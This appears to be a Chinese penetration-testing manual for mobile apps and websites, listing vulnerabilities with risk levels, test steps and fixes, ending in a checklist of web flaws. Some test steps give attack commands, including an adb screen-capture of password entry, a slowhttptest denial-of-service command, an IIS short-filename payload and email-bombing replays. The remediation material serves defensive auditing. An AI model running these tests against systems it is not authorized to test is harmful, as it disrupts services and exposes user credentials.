将没有必要设置成导出的组件设置为不可导出，即在AndroidManifest.xml文件中将相应的配置项中增加exported=false属性。对需要设置成导出的组件，对传入的Intent的参数做严格的检查和过滤。

1. 1. 1. Content Provider组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

修复方案：

1. 1. 1. Service组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

修复方案：

1. 1. 1. 软键盘安全

风险等级：中

漏洞描述：

若用户手机被植入木马，则可能监听用户输入字符串，再通过后台程序将用户输入字符串向外部发送。

测试步骤：

1．在登录页面，点击输入密码表单，弹出软键盘

2．查看软键盘是否为自定义软键盘，如果是，是否符合总体设计中键盘布局的要求

3．如果未设置自定义软键盘或未随机分布，则存在漏洞。

修复方案：

建议使用自定义的安全密码软键盘。

1. 1. 1. 屏幕录像保护

风险等级：中

漏洞描述：

客户端使用的随机布局软键盘是否会对用户点击产生视觉响应。当随机布局软键盘对用户点击产生视觉响应时，安卓木马可以通过连续截屏的方式，对用户击键进行记录，从而获得用户输入。

测试步骤：

使用adb进行测试，命令如下：

adb shell /system/bin/screencap -p 输出 png 路径

在/mnt/sdcard/路径下，可以看到 1a.png

3）可以看到，已经成功截图, 攻击者可以在用户进入登录页面，在输入密码的同时，进行连续截图，即可记录用户输入的密码。如果没有防截屏，那么即使是随机分布的、没有视觉反馈的软键盘也会被记录。

修复方案：

APP应用须在登陆和支付等场景，输入密码时，应防止恶意程序对用户输入的敏感信息通过截屏、录屏的方式进行窃听。其中Android须通过后台禁止截屏，IOS须给出后台正在进行截屏录频提示。

1. 1. ios客户端
    1. 二次打包（应用完整性校验）

风险等级：中

漏洞描述：

未对APP添加自身完整性检测功能，当安装包内的内容被篡改后仍然可以正常安装使用。

测试步骤：

1.修改客户端程序文件或其他资源文件，看客户端是否能够运行。（推荐修改配置文件或其他文本文件或图片，使客户端显示钓鱼信息）客户端程序文件均保存在应用私有目录的*.app 文件夹下。可以寻找文件夹中的配置文件和文本文件，对能够影响程序运行的文件进行修改（可以通过文件名和文件类型进行推测，首选修改对象是 html、js 脚本和配置文件等）。

2.修改后需要重新运行客户端，即把已运行的客户端程序进程杀死，然后再次运行。

修复方案：

建议应用程序在启动时进行自身完整性校验或采用第三方厂商的加固保护产品进行加固保护。

1. 1. 1. 逆向分析

风险等级：高

漏洞描述：

攻击者能够通过反编译的方法在客户端程序中植入自己的木马或恶意代码以及植入广告等，客户端程序如果没有自校验机制的话，攻击者可能会通过篡改客户端程序窃取手机用户的隐私信息。

测试步骤：

使用Hopper或者IDA这类软件对程序进行反编译，检查其是否存在大量可读性强的函数名称和可见函数逻辑。

修复方案：

1. 1. 1. 软键盘安全

风险等级：中

漏洞描述：

若用户手机被植入木马，则可能监听用户输入字符串，再通过后台程序将用户输入字符串向外部发送。

测试步骤：

1．在登录页面，点击输入密码表单，弹出软键盘

2．查看软键盘是否为自定义软键盘，如果是，是否符合总体设计中键盘布局的要求

3．如果未设置自定义软键盘或未随机分布，则存在漏洞。

修复方案：

1. 1. 客户端数据安全
    1. 允许任意备份检测

风险等级：中

漏洞描述：

当AndroidManifest.xml中allowBackup没有显式设置为false时，恶意攻击者可以通过备份应用程序获得用户的敏感信息。

测试步骤：

在被测应用的AndroidManifest.xml文件中，检测<application>标签里的android:allowbackup属性，若android:allowbackup=”false”，则检测通过；若android:allowbackup=”true”，则检测不通过，如若无allowbackup属性，则不通过。

修复方案：

建议将AndroidManifest.xml中allowBackup属性设置为false。

1. 1. 1. 硬编码的加密秘钥检测

风险等级：高

漏洞描述：

恶意攻击者可以根据代码中硬编码的加密密钥写出相应的加解密算法，从而破解、伪造客户端程序的通信数据包，对用户的个人信息造成损害。

测试步骤：

对安装包进行，检查安装包中各类文件是否包含硬编码的的敏感信息。对可执行文件可通过逆向方法寻找，也可以直接使用 16 进制编辑器查找。

修复方案：

客户端应用内不应该放置非对称加密算法的私钥，而对称加密算法中的加密密钥也应该经由安全信道传输，通过随机数生成。

1. 1. 1. 第三方SDK安全性检测

风险等级：中

漏洞描述：

一些恶意的Sdk本身会存在着安全威胁，除了众所周知的获取用户隐私信息，如收集设备id（IMEI，IMSI等）、获取用户位置信息外，还存在着更严重的安全问题。比如某些sdk具有主动接收服务器指令的功能，它会根据需要收集短信、通话记录和联系人等敏感信息。另外，它还会执行如动态下载代码等危险操作。

测试步骤：

避免使用不安全的第三方SDK，检查相关SDK版本是否存在已知漏洞。

修复方案：

使用第三方SDK时要注重其健壮性，确保SDK安全可靠，防止SDK的安全漏洞影响到自身安全性。

1. 1. 1. 留存的测试组件或信息

风险等级：中

漏洞描述：

由于开发者在多环境的切换和部署过程中，可能会因为偷懒或不在意导致某些非生产环境的信息或历史代码信息遗留在生产环境的app包中。留存的测试组件能够直接暴露服务器接口的调用参数，减少逆向分析者的工作难度，甚至能够泄露测试用账户，带来极大安全隐患。

测试步骤：

进行组件调用测试时可检查是否存在留存的测试组件，如图：

修复方案：

1.尽可能的不要在打包时留存测试信息

2.检查代码环境中是否有非生产环境以外的域名或ip

3.检查是否有历史代码的备份数据，若有请删除。

1. 1. 1. 保留的内网地址信息

风险等级：中

漏洞描述：

若程序中存在内网地址信息，则会降低攻击者攻击内网服务器的成本。

测试步骤：

对本地客户端文件检查时查看是否存有内网地址信息（例如10.x.x.x，172.x.x.x，192.168.x.x）。

修复方案：

删除所有保留的内网地址信息。

1. 1. 1. 手势密码本地信息保存

风险等级：高

漏洞描述：

本地存储手势密码文件不安全地存储可能会暴露手势密码的像素、坐标以及数字。

测试步骤：

对本地客户端文件检查时查看是否存有手势密码的像素、坐标以及数字等信息。

修复方案：

1. 1. 1. 本地数据文件存储安全

风险等级：中

漏洞描述：

在APP客户端本地文件中保存了用户敏感数据（如密码、卡号、证件号等）。

测试步骤：

2．对本目录下的文件内容（通常是 xml）进行检查，看是否包含敏感信息。

5.在应用的私有目录以及 S D 卡中包含应用名称的子目录中进行遍历，检查是否有包含敏感信息的文件。系统调用记录 Strace，查找应用和文件 IO 相关的系统调用（如 open，read，write 等），对客户端读写的文件内容进行检查。

修复方案：

对写入本地的手势密码信息加密处理进行保存。

1. 1. 1. 调试信息是否关闭

风险等级：中

漏洞描述：

客户端软件AndroidManifest.xml中的android:debuggable="true"标记如果开启，可被Java 调试工具例如 jdb 进行调试，获取和篡改用户敏感信息，甚至分析并且修改代码实现的业务逻辑，我们经常使用android.util.Log来打印日志，软件发布后调试日志被其他开发者看到，容易被反编译破解，对应用程序进行恶意破坏，也可能泄露用户敏感信息。

测试步骤：

检查AndroidManifest.xml文件中的debuggable属性是否为“true”，是否能被调试。

修复方案：

关闭调试信息，以防止不必要的敏感信息泄露。

1. 1. 通信安全
    1. 服务端证书校验

风险等级：中

漏洞描述：

当APP采用HTTPS协议进行数据传输时，APP未对接收到的SSL/TLS证书进行合法性校验（如签名CA是否合法、证书ID是否一致、证书是否过期等）。

测试步骤：

1．通过同一局域网之内设置代理，检测客户端和服务端是否容易被监听，通过修改 DNS，使客户端跳转到钓鱼网站上，客户端是否提示错误。

2．检测 SSL 协议的版本号，是否为不安全的低版本协议。

3. 安装证书，关闭SSL Kill Switch，设置代理并进行抓包。如果程序报错或者无法进行正常通信，则存在证书校验。

4.反编译，检测是否存在allowsAnyHTTPCertificateForHost函数，或者setAllowsAnyHTTPSCertificate函数

修复方案：

当APP采用HTTPS协议进行数据传输时，APP应对接收到的SSL/TLS证书进行合法性校验（如签名CA是否合法、证书ID是否一致、证书是否过期等）

1. 1. 1. 启用不安全的HTTP方法

风险等级：中

漏洞描述：

开发人员、运维人员一般可能用于调试服务器，开启了一些客户端能够直接读写服务器端文件的方法，例如： DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK 等HTTP协议支持的方法。

测试步骤：

使用burpsuite抓包，将请求方法修改成PUT、DELETE、TRACE等不安全的请求方法，如果响应状态为200，则说明存在此漏洞。

修复方案：

在不影响业务的前提下，修改系统web服务器配置，禁止使用DELETE、PUT、TRACE、OPTIONS、PATCH等方法。

1. 1. 1. 手势密码复杂度

风险等级：中

漏洞描述：

过于简单的手势密码会使得攻击者对手势密码进行爆破，从而进入用户系统进行非法操作。

测试步骤：

人工测试，尝试将密码修改为弱口令。

对于手势密码，可以尝试三点以内的简单口令。

修复方案：

应添加复杂度检测机制。

1. 1. 1. 手势密码修改和取消

风险等级：中

漏洞描述：

在修改手势密码和取消手势密码的时候不需要输入原密码或原手势密码，使得账号受到威胁。

测试步骤：

检查修改密码时是否校验原始密码。

修复方案：

应校验原始密码或原手势密码。

1. 1. 1. 邮件验证码安全

风险等级：中

漏洞描述：

未对服务端中对发送接收的邮箱做二次验证。

测试步骤：

在修改密码、用户登录等需要对邮箱发送验证码认证的功能点处，拦截数据包并修改数据包中的邮箱地址，检查是否修改后的邮箱是否会收到验证码以实现重置密码等操作。

修复方案：

在服务端中对发送接收的邮箱做二次验证。

1. 1. 1. 邮件轰炸

风险等级：高

漏洞描述：

应用程序未校验用户输入而直接插入到邮件正文中并发送，导致邮件正文被任意修改。攻击者可对利用该漏洞大量发送恶意邮件。

测试步骤:

（1）在应用系统账户注册处等需要邮箱验证功能，填写邮箱。使用Burp抓包发送到Repeater进行重放测试，返回结果为发送成功。

（2）尝试测试是否设有频控，一般测试10~20次。若持续可接收验证码，则证明漏洞存在

修复方案：

建议对用户的输入限制长度与文本格式。

1. 漏洞补充（低危-->中危）

1. 1. 1. 邮箱配置错误

风险等级：中

漏洞描述：

由于SMTP协议无需身份认证，而且发件人的邮箱地址是可以由发信方任意声明的，所以就会产生伪造别人发邮件。

测试步骤：

通过检测域名有没有配置SPF

windows环境：

nslookup -type=txt xxx.com

存在邮箱伪造邮箱的内容:

不存在邮箱伪造的内容：

Linux环境：

dig -t txt 域名查到的结果同windows环境。

修复方案：

1）使用SPF（Sender Policy Framework）技术并采用正确的配置。

1. 1. 1. 单击劫持：X-Frame-Options头丢失

风险等级：中

漏洞描述：

X-Frame-Options HTTP 响应头，可以指示浏览器是否应该加载一个 iframe 中的页面。网站可以通过设置 X-Frame-Options 阻止站点内的页面被其他页面嵌入从而防止点击劫持。当X-Frame-Options HTTP 响应头丢失的时候，攻击者可以伪造一个页面，该页面使用前端技术精心构造一些诱惑用户点击的按钮、图片，该元素下方就是一个iframe标签，当用户点击后上层的元素后，就相当于点击了iframe标签引入的网页页面。

测试步骤：

1.使用CURL请求网站，查看响应头是否包含X-Frame-Options，如：curl -I http://target

2.如果网站响应请求不存在X-Frame-Options响应头，则说名存在该漏洞，如下图：

3.如果网站响应请求存在X-Frame-Options响应头，则说名不存在该漏洞，如下图：

修复方案：

使用 X-Frame-Options 有三个可选的值：
DENY：浏览器拒绝当前页面加载任何Frame页面
SAMEORIGIN：frame页面的地址只能为同源域名下的页面
ALLOW-FROM：origin为允许frame加载的页面地址
若网站内有使用iframe标签链接同源资源的，需要设置为“SAMEORIGIN”

Apache
配置 Apache 在所有页面上发送 X-Frame-Options 响应头，需要把下面这行添加到 site 的配置中:
Header always append X-Frame-Options SAMEORIGIN

Nginx
配置 IIS 发送 X-Frame-Options 响应头，添加下面的配置到 Web.config 文件中:
<system.webServer>
  ...
  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>
  ...
</system.webServer>

Tomcat
在conf/web.xml中添加如下配置：
<filter>
        <filter-name>httpHeaderSecurity</filter-name>
        <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>
        <init-param>
            <param-name>antiClickJackingOption</param-name>
            <param-value>SAMEORIGIN</param-value>
        </init-param>
        <async-supported>true</async-supported>
    </filter>
<filter-mapping>
        <filter-name>httpHeaderSecurity</filter-name>
        <url-pattern>/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>

1. 1. 1. 目标HTTP安全响应头缺失

风险等级：中

漏洞描述：

目标缺少HTTP安全头部，不安全响应头的缺失使得目标URL更易遭受攻击，包括这三种安全头部：X-Content-Type-Options、CORS（跨域资源共享）来源验证失败、X-XSS-Protection头缺失。。

测试步骤：

1.使用burpsuite工具观察响应报头中是否包含："X-Content-Type-Options: nosniff"标头。

或在目标网站右击F12，检查加载的请求的响应头部是否有"X-Content-Type-Options: nosniff"标头。

2.使用burpsuite工具观察响应报头中是否包"Access-Control-Allow-Origin"标头，或在系统页面右击F12检查请求的响应报头是否有“Access-Control-Allow-Origin”标头。

3.使用burpsuite工具观察响应报头中是否包"X-XSS-Protection"标头，或在系统页面右击F12检查请求的响应报头是否有“X-XSS-Protection”标头。

修复方案：

1.将您的服务器配置为在所有传出请求上发送值为“nosniff”的“X-Content-Type-Options”头。

2.在 Access-Control-Allow-Origin 报头中仅允许选定的受信任域。

3.将服务器的“X-XSS-Protection”头的值配置为“1”

1. 1. 1. Host头攻击

风险等级：中

漏洞描述：

为了方便获取网站域名，开发人员一般依赖于请求包中的Host首部字段。例如，在php里用_SERVER["HTTP_HOST"]。但是这个Host字段值是不可信赖的(可通过HTTP代理工具篡改)，如果应用程序没有对Host字段值进行处理，就有可能造成恶意代码的传入。

测试步骤：

使用burpsuite工具抓取目标页面请求，具体测试项如下：

（跳转）场景一：正常请求，响应302，Location首部字段指明跳转的地址，其中Location字段值为Host字段指定的地址。

（拼接）场景二：正常请求，正常响应，将Host字段值拼接到标签属性值中。

（代码注入）场景三：这其实也属于拼接，只不过在场景二的基础上写入了恶意代码。

修复方案：

使用SERVER_NAME代替host header。

1. 1. 1. HTTP Content-Security-Policy缺失

风险等级：中

漏洞描述：

Content-Security-Policy内容安全策略 (CSP) 是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等，未设置CSP响应标头会影响应用安全性。

测试步骤：

在目标网页中按F12，检查加载的资源响应头部是否有CSP标头，如下。

修复方案：

启用 CSP方法：一种是通过 HTTP 头信息的Content-Security-Policy的字段，另一种是通过网页的meta标签。

1. 1. 1. SSL/TLS类安全漏洞

风险等级：中

漏洞描述：

SSL/TLS内使用的不安全的算法或版本较低，导致协议容易受到中间人攻击、敏感信息泄露等问题。

测试步骤：

（1）将域名或ip放入https://myssl.com/网站进行检测

（2）若支持TLS1.0、TLS1.1、ssl3、ssl2则存在该漏洞。

修复方案：

1、及时升级应用到最新版本；2、避免使用版本较低的SSL/TLS协议；3、禁用不安全的加密算法

1. 1. 1. 缓慢的HTTP拒绝服务攻击

风险等级：中

漏洞描述：

您的Web服务器容易受到慢速HTTP DoS（拒绝服务）攻击。 Slowloris和Slow HTTP POST DoS攻击依赖于以下事实：根据设计，HTTP协议要求服务器在处理请求之前将其完全接收。如果HTTP请求未完成，或者传输速率很低，则服务器将使其资源繁忙以等待其余数据。如果服务器使过多的资源繁忙，则会导致拒绝服务。

测试步骤：

通过kali中slowhttptest测试，测试过程中如果结果有显示NO（显示NO时，访问一下网页，无法访问），则带代表存在缓慢得HTTP拒绝服务攻击，测试命令如下：

slowhttptest -c 5000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u 网页地址 -p 3

修复方案：

针对不同的Server其对慢速http拒绝服务攻击防范方法也不同，建议使用以下措施防范慢速http拒绝服务攻击：

WebSphere

========

1、限制 HTTP 数据的大小

在WebSphere Application Server 中进行如下设置：

任何单个 HTTP 头的默认最大大小为 32768 字节。可以将它设置为不同的值。

HTTP 头的默认最大数量为 50。可以将它设置为不同的限制值。

另一种常见的 DOS 攻击是发送一个请求，这个请求会导致一个长期运行的 GET 请求。WebSphere Application Server Plug-in 中的 ServerIOTimeoutRetry 属性可限制任何请求的重试数量。这可以降低这种长期运行的请求的影响。

设置限制任何请求正文的最大大小。详见参考链接。

2、设置keepalive参数

打开ibm http server安装目录，打开文件夹conf，打开文件httpd.conf,查找KeepAlive值，改ON为OFF,其默认为ON。

这个值说明是否保持客户与HTTP SERVER的连接，如果设置为ON，则请求数到达MaxKeepAliveRequests设定值时请求将排队，导致响应变慢。

Weblogic

============

1、在配置管理界面中的协议->一般信息下设置完成消息超时时间小于400

2、在配置管理界面中的协议->HTTP下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。

Nginx

============

1、通过调整$request_method，配置服务器接受http包的操作限制；

2、在保证业务不受影响的前提下，调整client_max_body_size, client_body_buffer_size, client_header_buffer_size,large_client_header_buffersclient_body_timeout, client_header_timeout的值，必要时可以适当的增加；

3、对于会话或者相同的ip地址，可以使用HttpLimitReqModule and HttpLimitZoneModule参数去限制请求量或者并发连接数；

4、根据CPU和负载的大小，来配置worker_processes 和 worker_connections的值，公式是：max_clients = worker_processes * worker_connections。

Apache

============

建议使用mod_reqtimeout和mod_qos两个模块相互配合来防护。

1、mod_reqtimeout用于控制每个连接上请求发送的速率。配置例如：

#请求头部分，设置超时时间初始为10秒，并在收到客户端发送的数据后，每接收到500字节数据就将超时时间延长1秒，但最长不超过40秒。可以防护slowloris型的慢速攻击。

RequestReadTimeout header=10-40,minrate=500

#请求正文部分，设置超时时间初始为10秒，并在收到客户端发送的数据后，每接收到500字节数据就将超时时间延长1秒，但最长不超过40秒。可以防护slow message body型的慢速攻击。

RequestReadTimeout body=10-40,minrate=500

需注意，对于HTTPS站点，需要把初始超时时间上调，比如调整到20秒。

2、mod_qos用于控制并发连接数。配置例如：

# 当服务器并发连接数超过600时，关闭keepalive

QS_SrvMaxConnClose 600

# 限制每个源IP最大并发连接数为50

QS_SrvMaxConnPerIP 50

这两个数值可以根据服务器的性能调整。

1. 低危漏洞
  1. 1. IIS短文件名

风险等级：低

漏洞描述：

为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的windows 8.3 短文件名。在Windows下查看对应的短文件名，可以使用命令 dir /x。由于短文件名的长度固定（xxxxxx~xxxx），因此黑客可直接对短文件名进行暴力破解，从而访问对应的文件。短文件名有以下特征：

1) 只有前六位字符直接显示，后续字符用~1指代。其中数字1还可以递增，如果存在多个文件名类似的文件（名称前6位必须相同，且后缀名前3位必须相同）。

2) 后缀名最长只有3位，多余的被截断。

3) 访问构造的某个存在的短文件名，会返回404。

4) 访问构造的某个不存在的短文件名，会返回400

测试步骤：

需要确认网站满足两个条件：a、被检测网站使用了ASP.NET；b、被检测网站有未自定义统一错误页面的漏洞。
使用payload验证目标网站是否存在漏洞，下图显示的404，说明目标存在该短文件名：

Payload：http://xx.xx.xx.xx/*~1*/a.aspx

浏览器访问一个不存在的短文件名，则会返回“Bad Request(400)”，说明网站不存在该短文件名：

通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞；
我们还可以使用IIS Short Name Scanner工具来对该漏洞进行扫描和复现，下载地址为：https://github.com/irsdl/IIS-ShortName-Scanner

修复方案：

(一)    关闭NTFS 8.3文件格式的支持。该功能默认是开启的，对于大多数用户来说无需开启。
(二)    如果是虚拟主机空间用户,可采用以下修复方案：
1) 修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除)。
2) 如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。
3) 升级net framework 至4.0以上版本。
(三)    将web文件夹的内容拷贝到另一个位置，比如D:\www到D:\www.back，然后删除原文件夹D:\www，再重命名D:\www.back到D:\www。如果不重新复制，已经存在的短文件名则是不会消失的。

1. 1. 1. 敏感页面可以被缓存

风险等级：低

漏洞描述：

敏感页面可以被缓存是一种新的web攻击方法，包括web框架以及缓存机制等在内的许多技术都会受到这种攻击的影响。攻击者可以使用这种方法提取web用户的私人及敏感信息，在某些场景中，攻击者利用这种方法甚至可以完全接管用户账户。

测试步骤：

案例：

https://www.paypal.com/myaccount/home页面返回的是用户Omer账户信息：

追加malicious3.css访问不存在的资源，返回的依旧是原页面，但此时缓存中已经创建了名为home的目录，里面缓存了此页面：

打开一个新的浏览器（攻击者），访问此页面，获取到敏感页面：

详细信息可以参见以下文章：

https://cloud.tencent.com/developer/article/1516385

修复方案：

可以使用以下几种方法缓解此类攻击。
1、配置缓存策略，只有当文件的HTTP缓存头部允许缓存时，才会缓存这些文件；
2、将所有的静态文件保存到某个指定目录，并且只缓存这个目录；
3、如果缓存组件允许的话，需要将其配置为根据文件的具体内容来缓存文件；
4、配置web服务器，使其在处理诸如“http://www.example.com/home.php/nonexistent.css”的页面时，不会返回home.php的内容，而会返回404或者302响应。

1. 1. 1. ASP.NET调试功能启用

风险等级：低

漏洞描述：

发送DEBUG动作的请求，如果服务器返回内容为OK，那么服务器就开启了调试功能，可能会导致有关Web应用程序的敏感信息泄露，例如密码、路径等。

测试步骤：

使用工具burpsuite截取网站的请求包，修改请求方法为DEBUG，如下如所示：

根据返回的响应码来判断网站是否启用调试，若返回200这说明网站启用调试，若返回403则说明网站未启用调试。

修复方案：

编辑Web.config文件，设置<compilation debug="false"/>

1. 1. 1. 相对路径覆盖

风险等级：低

漏洞描述：

此攻击方法依赖于浏览器和服务器的反应，基于服务器的Web缓存技术和配置差异，以及服务器和客户端浏览器的解析差异，利用前端代码中加载的css/js的相对路径来加载其他文件，最终浏览器将服务器返回的不是css/js的文件当做css/js来解析，从而导致XSS，信息泄露等漏洞产生。

测试步骤：

Index.php文件内容如下：

test文件夹中有a.js，内容如下：

alert("Read file successfully");

当访问localhost/RPO/test/..%2findex.php，则会弹框，说明漏洞存在。

修复方案：

在页面中避免直接使用相对路径进行静态文件的加载。

1. 1. 1. VIEWSTATE参数未加密

风险等级：低

漏洞描述：

__VIEWSTATE参数未加密，增大了ViewState中存储的信息被窃取的风险。

测试步骤：

burpsuite抓包验证，可以在响应包页面的viewstate中发现，自动解密。

使用viewstatedecoder2工具解密，将请求包中的__VIEWSTATE放入工具中，可以获得明文数据，如下图所示：

修复方案：

1、在web.config文件中的“<compilation debug="true"/>”节点之后添加“<machineKey validation='3DES'/>”节点，该节点的目的是选择viewstate系统加密方式；
2、编辑出现该问题的所有页面，对页面中最顶部的节点进行修改：
在 <%@ Page Language="C#" Inherits="Web.Wpdcc.managerBanner" CodeBehind="manageBanner.aspx.cs" %> 该节点中添加EnableViewStateMac="true"，将该节点改为 <%@ Page Language="C#" EnableViewStateMac="true" Inherits="Web.Wpdcc.managerBanner" CodeBehind="manageBanner.aspx.cs" %> 既可，该属性的作用是开启系统viewstate加密。

1. 1. 1. 自动填写未对密码字段禁用的HTML属性

风险等级：低

漏洞描述：

密码字段没有强制禁用自动填写功能。

测试步骤：

在需要输入密码的页面按F12检查密码输入框的autocompelete属性是否为“off”（如下）,若为“on”则存在漏洞。

修复方案：

如果“input”元素的“password”字段中缺失“autocomplete”属性，请进行添加并将其设置为“off“。
如果“autocomplete”属性设置为“on”，请将其更改为“off”。

1. 1. 1. 服务器通过“X-Powered-By”HTTP 响应标头字段泄漏信息

风险等级：低

漏洞描述：

Web/应用程序服务器通过一个或多个“X-Powered-By”HTTP 响应头泄漏信息。访问此类信息可能有助于攻击者识别您的 Web 应用程序所依赖的其他框架/组件以及此类组件可能受到的漏洞。

测试步骤：

通过Burp Suite抓包查看返回包的X-Powered-By，或者F12查看

修复方案：

确保您的 Web 服务器、应用程序服务器、负载平衡器等配置为禁止“X-Powered-By”标头。

1. 1. 1. 版本过低(Lodash)

风险等级：低

漏洞描述：

Netsparker发现目标网站正在使用Lodash，并检测到它已过时。由于这是该软件的旧版本，因此可能容易受到攻击。

测试步骤：

通过F12中sources,Network刷新页面查看

修复方案：

升级版本

1. 1. 1. 过期版本(Vue.js)

风险等级：低

漏洞描述：

由于这是该软件的旧版本，因此可能容易受到攻击。

测试步骤：

通过F12中sources,Network刷新页面查看

修复方案：

升级版本

1. 1. 1. 检测到目标URL存在客户端（JavaScript）Cookie引用【可验证】

风险等级：低

漏洞描述：

Cookie通常由Web服务器创建并存储在客户端浏览器中，用来在客户端保存用户的身份标识、Session信息，甚至授权信息等。客户端JavaScript代码可以操作Cookie数据。

如果在客户端使用JavaScript创建或修改站点的cookie，那么攻击者就可以查看到这些代码，通过阅读代码了解其逻辑，甚至根据自己所了解的知识将其用来修改cookie。一旦cookie包含了很重要的信息，譬如包含了权限信息等，攻击者很容易利用这些漏洞进行特权升级等攻击。

测试步骤：

通过分析JavaScript代码，查看URL及F12中sources,APPlication查看Cookie

修复方案：

1、避免在客户端放置业务/安全逻辑。

2、查找并除去客户端不安全的 JavaScript 代码，该代码可能会对站点造成安全威胁。

1. 1. 1. 检测到目标网站存在无效链接

风险等级：低

漏洞描述：

无效链接是指存在于页面中，但其指向的资源已经不存在。

本漏洞属于Web应用安全常见漏洞。

测试步骤：

通过目录扫描，正常访问页面查看

修复方案：

将无效链接从页面中删除。

渗透测试之安全手册（干货）

1.用户账户可重复

2.无账户锁定机制

弱口令

不安全的错误提示

密码不应返回前端

登录认证可被绕过

强密码机制检测

用户密码重置

更改密码时不需要输入原密码

展业系统单因素认证

图形验证码

脆弱的加密方式

敏感信息明文传输

后台管理界面外网暴露

垂直越权访问

水平越权访问

未授权访问

内网接口无校验访问

互联网接口无校验访问

未验证的URL跳转

会话超时

账号可同时登陆

会话安全

cookie属性安全

会话固定（修订）

重放漏洞

防篡改

支付漏洞

敏感信息泄露

不安全的HTTP协议

启用SSL弱密码

备份文件泄露

JS文件敏感信息泄露

敏感信息未模糊化

内部IP地址泄露

WEB.XML配置文件泄露

服务器路径泄露

目录遍历

敏感数据get传输

版本信息泄露

应用程序调试信息泄露

Struts 2远程代码执行

WebLogic Server远程代码执行漏洞

JBOSS远程代码执行

反序列化漏洞

SQL注入

xml注入

命令注入

xpath注入

存储型XSS

反射型XSS

任意文件上传

CSRF跨站

SSRF服务器端请求伪造

第三方组件安全

启用不安全的HTTP方法

邮件验证码安全

邮件轰炸

单击劫持：X-Frame-Options头丢失

Host头攻击

相关文章